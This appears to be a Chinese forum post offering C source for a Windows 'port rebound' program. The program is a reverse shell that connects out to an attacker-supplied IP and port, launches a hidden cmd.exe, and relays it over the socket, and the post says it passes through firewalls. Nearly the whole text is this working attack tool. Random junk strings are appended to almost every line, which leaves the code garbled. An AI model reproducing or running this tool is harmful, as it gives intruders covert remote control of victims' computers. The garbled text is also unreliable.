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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6;6a.iZ  
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/* ============================== G- wQ weJ9  
Rebound port in Windows NT +aR.t@D+"Y  
By wind,2006/7 D;VQoO  
===============================*/ &/R`\(hEA  
#include -e0C Bp  
#include &D0suK#  
ChO?Lm$y  
#pragma comment(lib,"wsock32.lib") uTTM%-DMHT  
})RT2zw}  
void OutputShell(); 1henQiIO  
SOCKET sClient; k`FCyO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G8b/eWtP  
A[)od   
void main(int argc,char **argv) /J!C2  
{ IA_>x9 (~  
WSADATA stWsaData; 6$c,#%Jt*  
int nRet; 7ADh  
SOCKADDR_IN stSaiClient,stSaiServer; e&%m[:W:<  
['~j1!/;6  
if(argc != 3) '?7th>pC  
{ XN65bq  
printf("Useage:\n\rRebound DestIP DestPort\n"); b Lag&c)  
return; ~_<I}!j/B  
} &U q++f6  
KzD5>Xf]4$  
WSAStartup(MAKEWORD(2,2),&stWsaData); o (fZZ`6Y  
g-lF{Z  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5y-8_)y8o  
AKs=2N> 7  
stSaiClient.sin_family = AF_INET; C$Pe<C#  
stSaiClient.sin_port = htons(0); 2ED^uc: 0S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !_0kn6 S5  
6Q S[mWU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) / !J1}S  
{ EXn$ [K;  
printf("Bind Socket Failed!\n"); cfI5KLG~#  
return; pgT XyAP{  
} U7O]g'BP  
6&V4W"k  
stSaiServer.sin_family = AF_INET; \;AW/& Ea  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~um+r],@@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;m6Mm`[i<  
BkfWZ O{7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \bAsn89O  
{ E><!Owxt/  
printf("Connect Error!"); 2B&Yw  
return; .s$#: ls?  
} ^,S\-Uy9  
OutputShell(); d.y2`wT  
} DC S$d1  
]}z;!D>  
void OutputShell() V"":_`1VW  
{ V# Mw  
char szBuff[1024]; [P#^nyOh(  
SECURITY_ATTRIBUTES stSecurityAttributes; Q)N$h07R  
OSVERSIONINFO stOsversionInfo; N!" ]e*q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :()(P9?  
STARTUPINFO stStartupInfo; pcw!e_"+  
char *szShell; 86d *  
PROCESS_INFORMATION stProcessInformation; | rJ_  
unsigned long lBytesRead; %4QCUc*lr  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N{Og; roGD  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f:iK5g  
stSecurityAttributes.lpSecurityDescriptor = 0; Ht^MY  
stSecurityAttributes.bInheritHandle = TRUE; =w &%29BYq  
[{3WHS.  
<()xO(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $s2Ty1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); etF?,^)h=g  
\ZrLh,6f.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~N+lI\K  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /Z<"6g?  
stStartupInfo.wShowWindow = SW_HIDE; Dz, Fu:)  
stStartupInfo.hStdInput = hReadPipe; .N~qpynY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a(CZGIB  
p '{ `Uvr  
GetVersionEx(&stOsversionInfo); X;_0"g  
pNpj, H*4  
switch(stOsversionInfo.dwPlatformId) kf~71G+  
{ js )G   
case 1: uYjJDLYoHl  
szShell = "command.com"; kfb+OE:7  
break; 0^44${bA  
default: $eQ_!7Gom$  
szShell = "cmd.exe"; 8 OC5L1  
break; ;aYPv8s~,:  
} Wo5G23:xz  
bu"Jb4_a>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N]cGJU>$  
Y+N^_2@+C  
send(sClient,szMsg,77,0); gOw|s1`2,  
while(1) ~D@pk>I  
{ )CS 7>Vx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AEkgm^t.{  
if(lBytesRead) &*g5kh{  
{ S8j;oJ2 d  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u&l2s&i  
send(sClient,szBuff,lBytesRead,0); fX G+88:2  
} }]sI?&xB  
else ><iEVrpN  
{ #I9|>XE1  
lBytesRead=recv(sClient,szBuff,1024,0); DoWY*2E  
if(lBytesRead<=0) break; bTC2Ya  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )>a t]mH  
} BXueOvO8  
} A`u04Lm7  
}4xxge?r  
return; THQ W8 V  
}
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